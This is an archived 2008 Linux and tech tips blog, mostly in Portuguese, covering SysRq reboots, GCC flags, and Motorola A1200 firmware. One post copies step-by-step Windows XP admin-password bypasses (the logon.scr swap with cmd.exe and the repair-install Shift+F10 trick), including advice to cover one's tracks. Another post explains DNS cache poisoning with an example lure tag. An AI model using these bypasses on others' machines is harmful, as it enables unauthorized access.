Month: August 2008

Reiniciando o computador remotamente quando o disco falhar

Se voce estiver acessando remotamente outro computador e o disco deste computador falhar voce nao tera’ mais acesso aos programas que estao em disco, nem mesmo podera’ executar o comando “reboot”:

# reboot
bash: /sbin/reboot: Input/output error
# shutdown -r now
bash: /sbin/shutdown: Input/output error

Felizmente existe uma solucao para resolver este problema, trata-se das teclas magicas SysRq (se vc tiver acesso local a maquina basta executar Alt + SysRq + tecla desejada), porem ao inves de tecla-las nos iremos envia-las diretamente para o kernel usando a interface do /proc:

echo 1 > /proc/sys/kernel/sysrq

echo b > /proc/sysrq-trigger

O primeiro comando ativa o suporte as teclas maquinas e o segundo comando envia o codigo do comando que sera’ executado, no caso reBoot.

A lista de todos os comando pode ser vista neste link na Wikipedia.

Esta dica foi retirada do Linux Jornal:
http://www.linuxjournal.com/content/rebooting-magic-way

Como se tornar admin no Windows XP

Duas dicas legais, a primeira deste site http://internetbusinessdaily.net/how-to-hack-a-window-xp-admins-password/ :

cd\
cd\windows\system32
mkdir temphack
copy logon.scr temphack\logon.scr
copy cmd.exe temphack\cmd.exe
del logon.scr
rename cmd.exe logon.scr
exit

So what you just told windows to backup is the command program and the screen saver file. Then you edited the settings so when windows loads the screen saver, you will get an unprotected dos prompt without logging in. When this appears enter this command that’s in parenthesis (net user password). So if the admin user name is Doug and you want the password 1234 then you would enter “net user Doug 1234″ and now you’ve changed the admin password to 1234. Log in, do what you want to do, copy the contents of temphack back into system32 to cover your tracks.

A segunda deste site http://pubs.logicalexpressions.com/pub0009/LPMArticle.asp?ID=305 :

1. Place your Windows XP CD in your cd-rom and start your computer (it’s assumed here that your XP CD is bootable – as it should be – and that you have your bios set to boot from CD)

2. Keep your eye on the screen messages for booting to your cd Typically, it will be “Press any key to boot from cd”

3. Once you get in, the first screen will indicate that Setup is inspecting your system and loading files.

4. When you get to the Welcome to Setup screen, press ENTER to Setup Windows now

5. The Licensing Agreement comes next – Press F8 to accept it.

6. The next screen is the Setup screen which gives you the option to do a Repair.

It should read something like “If one of the following Windows XP installations is damaged, Setup can try to repair it”

Use the up and down arrow keys to select your XP installation (if you only have one, it should already be selected) and press R to begin the Repair process.

7. Let the Repair run. Setup will now check your disks and then start copying files which can take several minutes.

8. Shortly after the Copying Files stage, you will be required to reboot. (this will happen automatically – you will see a progress bar stating “Your computer will reboot in 15 seconds”

9. During the reboot, do not make the mistake of “pressing any key” to boot from the CD again! Setup will resume automatically with the standard billboard screens and you will notice Installing Windows is highlighted.

10. Keep your eye on the lower left hand side of the screen and when you see the Installing Devices progress bar, press SHIFT + F10. This is the security hole! A command console will now open up giving you the potential for wide access to your system.

11. At the prompt, type NUSRMGR.CPL and press Enter. Voila! You have just gained graphical access to your User Accounts in the Control Panel.

12. Now simply pick the account you need to change and remove or change your password as you prefer. If you want to log on without having to enter your new password, you can type control userpasswords2 at the prompt and choose to log on without being asked for password. After you’ve made your changes close the windows, exit the command box and continue on with the Repair (have your Product key handy).

13. Once the Repair is done, you will be able to log on with your new password (or without a password if you chose not to use one or if you chose not to be asked for a password). Your programs and personalized settings should remain intact.

I tested the above on Windows XP Pro with and without SP1 and also used this method in a real situation where someone could not remember their password and it worked like a charm to fix the problem. This security hole allows access to more than just user accounts. You can also access the Registry and Policy Editor, for example. And its gui access with mouse control. Of course, a Product Key will be needed to continue with the Repair after making the changes, but for anyone intent on gaining access to your system, this would be no problem.

And in case you are wondering, NO, you cannot cancel install after making the changes and expect to logon with your new password.

Cancelling will just result in Setup resuming at bootup and your changes will be lost.

Ok, now that your logon problem is fixed, you should make a point to prevent it from ever happening again by creating a Password Reset Disk. This is a floppy disk you can use in the event you ever forget your log on password. It allows you to set a new password.

Here’s how to create one if your computer is NOT on a domain:

  • Go to the Control Panel and open up User Accounts.
  • Choose your account (under Pick An Account to Change) and under Related Tasks, click “Prevent a forgotten password”.
  • This will initiate a wizard.
  • Click Next and then insert a blank formatted floppy disk into your A: drive.
  • Click Next and enter your logon password in the password box.
  • Click Next to begin the creation of your Password disk.
  • Once completed, label and save the disk to a safe place

How to Log on to your PC Using Your Password Reset Disk

Start your computer and at the logon screen, click your user name and leave the password box blank or just type in anything. This will bring up a Logon Failure box and you will then see the option to use your Password Reset disk to create a new password. Click it which will initiate the Password Reset wizard. Insert your password reset disk into your floppy drive and follow the wizard which will let you choose a new password to use for your account.

Note: If your computer is part of a domain, the procedure for creating a password disk is different.

Adicionando arquivos binarios dentro do seu fonte em C

Quem conhece o formato de imagem XPM sabe que ele e’ basicamente um arquivo fonte em C, facilmente anexado dentro de qualquer programa em C.
Mas e para outros arquivos multimedia (binarios), como adiciona-los no seu codigo fonte? Quem ja usou C++Builder ou Delphi no SO proprietario conhece bem os arquivos de resource, que sao anexados dentro do programa final.

Mas e na linguagem C padrao, como eu posso adicionar um arquivo binario diretamente no meu codigo fonte?

A resposta e’ simples, e ela ja vem na maioria das distribuicoes Linux (embora na esteja definida na LSB). Trata-se do aplicativo “xdd”. Ele converte arquivos binario para hexadecimal e vice-versa. Alem disso ele pode ser usado para gerar um arquivo header do C:

xxd -i yahoo.wav > yahoo.h

Pronto, nada de arquivos binarios em separado, coloque tudo no seu arquivo .h 😉

Dicas sobre GCC

Estas dicas foram apresentadas por Gene Sally da Timesys durante a Conferencia de Linux Embarcado (ELC):

* gcc -### – show what GCC would have executed
* gcc -v – show what GCC is executing
* gcc -g x.c -o x; objdump -S x – show the C and generated assembly code
* gcc -E -dM – </dev/null – show all predefined GCC macros
* gcc -C -E – show pre-processor output, but leave comments intact
* gcc -M – show all include file dependencies (for use in Makefiles)
* gcc -MM – like above, but ignore system include files

Instalando Linux no pen-driver diretamente a partir da imagem ISO

Se voce esta’ interessado em testar uma nova distribuicao Linux e nao tem nenhum CD em maos, esta dica sera’ util pra voce. Usando o programa UNetBootIn voce transfere a imagem ISO para o pendriver e permite bootar diretamente via USB.

Esta dica saiu ontem no br-linux.

Mas o que mais gostei nao foi da dica em si, mas de uma sugestao nos comentarios, trata-se do programa UNetbootin:
http://unetbootin.sourceforge.net

Ele suporta varias distribuicoes Linux e ate’ outros sistemas (nao) operacionais.

Update: Ubuntu comes with Startup Disk Creator (usb-creator-gtk) that works fine, but you need to rename yourfile.iso to yourfile.img to use it.

Compilando o kernel OpenEZX para o A1200

Para compilar o kernel para o Motorola A1200 voce deve primeiramente baixar o kernel mainline 2.6.21:

$ wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.21.tar.gz
$ tar zxvf linux-2.6.21.tar.gz

Crie um diretorio chamado patches dentro do kernel que vc acabou de descompactar
$ cd linux-2.6.21
$ mkdir patches

Baixe todos os arquivos de http://svn.openezx.org/trunk/src/kernel-2.6/patches/ para dentro de patches.

Baixe o toolchain para ARM:
http://www.codesourcery.com/public/gnu_toolchain/arm-none-linux-gnueabi/arm-2008q1-126-arm-none-linux-gnueabi.bin

Instale o toolchain em /opt/CodeSourcery/Sourcery_G++_Lite.

Entre dentro do diretorio do kernel 2.6.21 e execute o comando para aplicar os patches em serie:
$ quilt push -a

Mais informacoes sobre como o quilt funciona leia estas dicas:
http://www.wzdftpd.net/blog/index.php?2008/02/05/3-quilt-a-patch-management-system-how-to-survive-with-many-patches

Execute o comando para compilacao do kernel:
make -f patches/Makefile.OpenEZX CROSS_COMPILE=/opt/CodeSourcery/Sourcery_G++_Lite/bin/arm-none-linux-gnueabi-

Ao final da instalacao serao gerados varios arquivos de imagem, mas o que nos interessa e’ apenas o zImage-a1200.

Para rodar este kernel no seu celular voce precisara’ do programa boot_usb. Este programa permite enviar a imagem do kernel para a memoria RAM usando o bootloader do celular. Se voce nao quiser compilar o boot_usb pode baixa-lo daqui.

Este processo nao ira’ apagar o firmware original do seu celular, apenas ira’ enviar a imagem para RAM, entao fique tranquilo, nao precisa ter medo de testa-lo.

Entao vamos ao que interessa: desligue o celular, em seguida mantenha pressionado o botao VR (reconhecimento de voz) e pressione o botao PowerOn, devera’ aparecer a tela vermelha do bootloader. Ligue o cabo de dados no celular e no PC.

Para enviar o kernel para a memoria RAM do seu celular execute:
# boot_usb zImage.a1200

Voce vera’ a inicializacao do kernel em pequenas letras verdes. Infelizmente receberemos um kernel panic, pois ainda nao temos um root file system configurado. Este e’ o proximo passo.

Atualizando o firmware do A1200E

Como era de se esperar eu resolvi atualizar o firmware do meu celular, nenhum problema grave no firmware atual, apenas as noticias em Chines aparecendo na tela principal e tambem porque queria ver como e’ o processo para poder descrever aqui, assim mais gente podera’ atualizar tambem, nao e’ Douglas? 😉

Primeira dica: cuidado ao instalar determinados firmwares, pesquisando nos foruns de GSM descobri que tem algumas versoes de firmware que nao aceitam regressoes, ha firmware hibridos que sao criados misturando firmware de uma versao com o de outra, ha firmware que sao para um determinado modelo de A1200 (A1200, A1200i, A1200E, ect) e podera’ ser incompativel com o seu celular e se voce atualizar podera’ transforma-lo num peso para papel ou para escorar porta, rs. Enfim, e’ uma salada de opcoes sem fim.

Descobri que o mais “badalado” firmware para o A1200 e’ o 59xpv2_bint, mas infelizmente ele e’ do tipo H2 e se eu instala-lo no A1200E nao poderei utilizar uma nova versao de firmware A1200E. Entao o melhor e’ sempre atualizar o firmware A1200E -> A1200E. Entao no meu caso a melhor opcao e’ instalar o firmware A1200E_34P_APBP_yan0, que e’ a versao 34P com algumas modificacoes criadas por um carinha do motofans.

Como ate’ agora eu so’ estava usado o celular no Ubuntu, nem instalei os drivers no Windows, mas nao tive outra opcao, ja’ que iria fazer a atualizacao do firmware usando o maldito. Para minha surpresa o CD original nao conseguiu detectar o celular e instalar os drivers corretamente. Entao procurei na internet e achei os drivers para baixar: http://www.nodevice.com/driver/MOTOMING_A1200/get39412.html

Tudo certo, agora ta na hora do show, achei um passo-a-passo que me deixou mais tranquilo:

Atualizando o firmware do A1200:

1) Baixe e instale o RSDlite v2.8+
2) Carregue a bateria COMPLETAMENTE para evitar que ela acabe durante a instalacao
3) Baixe o firmware de sua preferencia (de preferencia o correto, rs)
4) No seu fone, va’ em Setup > USB mode > MODEM > Save
5) Desligue seu celular
6) Mantenha pressionado o botao VR (lado direito, abaixo do botao da camera ) e entao pressione o botao Power On (botao End Call) ate’ a tela vermelha aparecer com o texto ” MBM FLASH MODE ”
7) Execute o RSDLite
8 ) Ligue o cabo de dados no A1200 e no seu computador
9) Instale os drivers se solicitado
10) Antes de continuar, verifique no RSDlite se apareceu ” Connected ” (senao, reinicie o RSDlite )
11) Na parte superior da tela, clique no botao ” … ” para procurar o firmware desejado (*.bsf)
12) Clique em ” start ” e verifique todas as notificacoes para instalar os drivers USB, instale-os conforme for solicitado.
13) Se solicitar para reiniciar o celular, desplugue o cabo do PC, remova a bateria por 5 segundos, coloque a bateria de volta e ligue o celular. Volte o celular para o modem: USB MODE -> MODEM, entao ligue o cabo de dados de volta no computador.
14) Se aparecer “passed” ou “completed”, desconecte o celular e reinicie ele.
15) Pronto, voce conseguiu atualizar seu firmware.

Na primeira vez que tentei ele ficou parado na mensagem “Re-enumeration”, mas acho que isto aconteceu porque eu nao instalei os drivers USB que aparecem durante a atualizacao do firmware. Na segunda vez instalei os drivers corretamente e foi ate o final. Nao apareceu o pedido para reiniciar o celular, mas no final apareceu o “passed”, creio que isto deve ser porque estou usando o “RSDLite 4.2 + Patch”, ele deve ser mais esperto.

No final a supresa, apos a instalacao meu celular estava completamente em Chines. No firmware antigo ficava exibindo umas msg de noticias online em Chines, porem a versao do firmware anterior nao tinha suporte ao idioma Chines, entao so apareciam os quadradinhos (igual quando vc acessa um site Chines sem o browser ter o suporte ao idioma). Apos alguns configuracoes consegui mudar para ingles.

E’ isso pessoal, nao aconselho ninguem a atualizar o firmware do celular devido aos riscos envolvidos.
Espero que esta dica seja util para os guerreiros de plantao que queiram se arriscar. So’ nao vale me culpar depois.

DirectFB with touchscreen

I was getting a problem with DirectFB and touchscreen. The df_windows example didn’t work correctly it was uncalibrated, the cursor didn’t was showed at pen stylus position.

The problem was caused because DirectFB was just using the Linux Input (/dev/input/event1) instead the tslib device (/dev/input/tslib0) because tslib0 didn’t exist. Then after to calibrate the toochscreen with tslib (ts_calibrate) DirectFB still uncalibrated.

Then to solve this problem I do that:

mknod /dev/input/tslib0

export TSLIB_TSDEVICE=/dev/input/tslib0

rm -f /etc/pointercal

ts_calibrate

df_window

Solved the problem!

Descobrindo a versao do Firmware do A1200

Voce pode descobrir qual a versao do firmware do seu celular (smartphone) A1200 entrando com o codigo WWW008W no discador do seu aparelho.

Infelizmente o W nao pode ser entrado pelo discador (apenas os numeros podem ser digitados nele), entao para “digitar” o W clique no Menu (canto inferior esquerdo do discador) em seguida clique em Insert e depois em Insert Wait.

A versao do meu firmware esta desatualizada: R541L7_G_11.00.06R_ROM3
Portando meu A1200 eh o A1200E.

Agora estou pesquisando como instalar um kernel do Linux compilado por mim (http://wiki.openezx.org/Kernel_hacking_-_linux-2.6), vamos ver no que vai dar.

Para entender como funciona a versao de firmware para o A1200 recomendo ler este site:
http://motohell.com/index.php?topic=683.0;wap2

A lista com todos os principais firmwares para download:
http://www.motorolafans.com/forums/a1200-firmware/6625-links-a1200-firmwares-here.html

Seu provedor esta protegido contra a vulnerabilidade do DNS?

A midia tem dado muita atencao ao problema de vulnerabilidade do DNS, mas parece que nem todos os provedores consertaram o problema ainda.
Para saber se seu provedor esta’ seguro acesse o site http://www.doxpara.com e clique no botao “Check My DNS” do lado direito da pagina.

Estou usando NetVirtua e parece que a NET ainda nao corrigiu o problema, veja so:
Your name server, at 200.174.x.x, appears vulnerable to DNS Cache Poisoning.
All requests came from the following source port: 64093

Due to events outside our control, details of the vulnerability have been leaked. Please consider using a safe DNS server, such as OpenDNS. Note: Comcast users should not worry.

Se seu provedor tambem estiver vulneravel tome cuidado, esta falha realmente e’ grave e pode ser explorada com certa facilidade. Voce so’ precisa acessar alguma pagina que tente buscar imagens de um subdominio inexistente, por exemplo, <img src=”http://naoexiste.nomedoseubanco.com.br/picapau.jpg&#8221; >. Neste momento o servidor DNS do seu provedor tentara’ consultador outros servidores DNS para tentar localizar o subdominio que nao existe. Entao um servidor DNS falso, previamente configurado para responder ao subdominio em questao, podera’ retornar nao apenas um IP para o subdominio inexistente do seu banco, mas tambem retornara’ um IP diferente para o dominio http://www.nomedoseubanco.com.br, e pior, ira’ instruir o DNS server do seu provedor a manter este IP em cache por varios dias.

Assim quando voce for acessar a pagina do seu banco http://www.nomedoseubanco.com.br podera’ encontrar uma pagina falsa com a aparencia igual ao do seu banco.

Para entender melhor como a vulnerabilidade funciona leia esta materia:
http://www.linuxjournal.com/content/understanding-kaminskys-dns-bug

Outro artigo bem detalhado explicando o problema pode ser encontrado neste site:
http://www.unixwiz.net/techtips/iguide-kaminsky-dns-vuln.html